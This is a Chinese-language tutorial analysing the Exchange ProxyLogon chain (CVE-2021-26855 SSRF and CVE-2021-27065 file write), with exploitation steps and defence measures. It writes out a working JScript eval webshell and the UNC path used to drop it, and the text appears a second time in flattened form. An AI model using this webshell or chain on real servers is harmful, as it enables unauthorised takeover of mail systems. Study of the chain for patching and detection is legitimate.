关于Exchange CVE-2021–26855与CVE-2021–27065漏洞分析及复现
字数 1767 2025-08-09 16:00:20

Exchange漏洞CVE-2021-26855与CVE-2021-27065分析与复现指南

漏洞概述

本教学文档详细分析Microsoft Exchange Server中的两个高危漏洞:

  • CVE-2021-26855:服务器端请求伪造(SSRF)漏洞
  • CVE-2021-27065:任意文件写入漏洞

这两个漏洞组合利用可实现未授权的webshell写入,危害极大。

CVE-2021-26855 (SSRF漏洞)分析

漏洞位置

C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

漏洞触发流程

  1. 请求处理入口

    • ProxyModule.OnPostAuthorizeRequestOnPostAuthorizeInternal
    • 该函数负责对POST请求进行安全检查
  2. 处理未认证请求

    • 调用SelectHandlerForUnauthenticatedRequest函数
    • 根据URL中的web子目录(ProtocolType)生成不同的httpHandler
    • ProtocolType为"ecp"时,检查BEResourceRequestHandler.CanHandle返回值
  3. CanHandle条件

    • GetBEResouceCookie返回真:需要请求cookies中包含X-BEResource字段
    • IsResourceRequest返回真:请求路径需以.js.png等结尾
  4. 请求处理链

    • 设置context.HandlerBEResourceRequestHandler
    • 调用ProxyRequestHandler.BeginProcessRequest()
    • BeginCalculateTargetBackEnd
    • InternalBeginCalculateTargetBackEnd
    • BEResourceRequestHandler.ResolveAnchorMailbox
  5. 关键解析过程

    • BackEndServer.FromString解析X-BEResource字段:
      • 使用~符号分割字符串
      • 前半部分作为FQDN(全限定域名)
      • 后半部分作为BackEndServer Version
  6. SSRF实现

    • ProxyRequestHandler.BeginProxyRequest使用可控的BackEndServer.Fqdn
    • PrepareServerRequest通过else分支绕过认证
    • 最终实现未认证的SSRF攻击

CVE-2021-27065 (任意文件写入漏洞)分析

利用前提

  • 需要管理员账号权限
  • CVE-2021-26855可帮助获取管理员权限

漏洞利用步骤

  1. 登录管理员账号
  2. 导航至:服务器 → 虚拟目录 → OAB
  3. 在"外部链接"中写入webshell代码:
    http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script>
    
  4. 保存配置
  5. 选择"重置虚拟目录"
  6. 指定webshell写入位置:
    \\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx
    
  7. 验证webshell是否成功写入

漏洞复现环境准备

  1. 搭建Exchange Server测试环境
  2. 确保可访问Exchange Web服务(OWA, ECP等)
  3. 准备攻击机器(可安装ProxyShell等利用工具)

组合利用流程

  1. 利用CVE-2021-26855进行SSRF攻击,获取管理员权限
  2. 利用获得的管理员权限触发CVE-2021-27065
  3. 通过任意文件写入上传webshell
  4. 访问webshell获取服务器控制权

防御措施

  1. 及时安装微软官方补丁
  2. 限制Exchange服务器对外暴露
  3. 实施网络分段,隔离Exchange服务器
  4. 监控异常请求模式(特别是包含X-BEResource的请求)
  5. 定期审计服务器文件系统,检查可疑文件

参考资源

  • 微软官方安全公告
  • ProxyShell漏洞利用工具
  • Exchange Server安全配置指南

通过本教学文档,您应该能够全面理解这两个Exchange漏洞的原理、利用方式及防御方法。在实际环境中进行测试时,请确保遵守相关法律法规,仅在授权环境下进行安全测试。

Exchange漏洞CVE-2021-26855与CVE-2021-27065分析与复现指南 漏洞概述 本教学文档详细分析Microsoft Exchange Server中的两个高危漏洞: CVE-2021-26855 :服务器端请求伪造(SSRF)漏洞 CVE-2021-27065 :任意文件写入漏洞 这两个漏洞组合利用可实现未授权的webshell写入,危害极大。 CVE-2021-26855 (SSRF漏洞)分析 漏洞位置 C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll 漏洞触发流程 请求处理入口 : ProxyModule.OnPostAuthorizeRequest → OnPostAuthorizeInternal 该函数负责对POST请求进行安全检查 处理未认证请求 : 调用 SelectHandlerForUnauthenticatedRequest 函数 根据URL中的web子目录( ProtocolType )生成不同的 httpHandler 当 ProtocolType 为"ecp"时,检查 BEResourceRequestHandler.CanHandle 返回值 CanHandle条件 : GetBEResouceCookie 返回真:需要请求cookies中包含 X-BEResource 字段 IsResourceRequest 返回真:请求路径需以 .js 、 .png 等结尾 请求处理链 : 设置 context.Handler 为 BEResourceRequestHandler 调用 ProxyRequestHandler.BeginProcessRequest() → BeginCalculateTargetBackEnd → InternalBeginCalculateTargetBackEnd → BEResourceRequestHandler.ResolveAnchorMailbox 关键解析过程 : BackEndServer.FromString 解析 X-BEResource 字段: 使用 ~ 符号分割字符串 前半部分作为FQDN(全限定域名) 后半部分作为BackEndServer Version SSRF实现 : ProxyRequestHandler.BeginProxyRequest 使用可控的 BackEndServer.Fqdn PrepareServerRequest 通过else分支绕过认证 最终实现未认证的SSRF攻击 CVE-2021-27065 (任意文件写入漏洞)分析 利用前提 需要管理员账号权限 CVE-2021-26855可帮助获取管理员权限 漏洞利用步骤 登录管理员账号 导航至:服务器 → 虚拟目录 → OAB 在"外部链接"中写入webshell代码: 保存配置 选择"重置虚拟目录" 指定webshell写入位置: 验证webshell是否成功写入 漏洞复现环境准备 搭建Exchange Server测试环境 确保可访问Exchange Web服务(OWA, ECP等) 准备攻击机器(可安装ProxyShell等利用工具) 组合利用流程 利用CVE-2021-26855进行SSRF攻击,获取管理员权限 利用获得的管理员权限触发CVE-2021-27065 通过任意文件写入上传webshell 访问webshell获取服务器控制权 防御措施 及时安装微软官方补丁 限制Exchange服务器对外暴露 实施网络分段,隔离Exchange服务器 监控异常请求模式(特别是包含X-BEResource的请求) 定期审计服务器文件系统,检查可疑文件 参考资源 微软官方安全公告 ProxyShell漏洞利用工具 Exchange Server安全配置指南 通过本教学文档,您应该能够全面理解这两个Exchange漏洞的原理、利用方式及防御方法。在实际环境中进行测试时,请确保遵守相关法律法规,仅在授权环境下进行安全测试。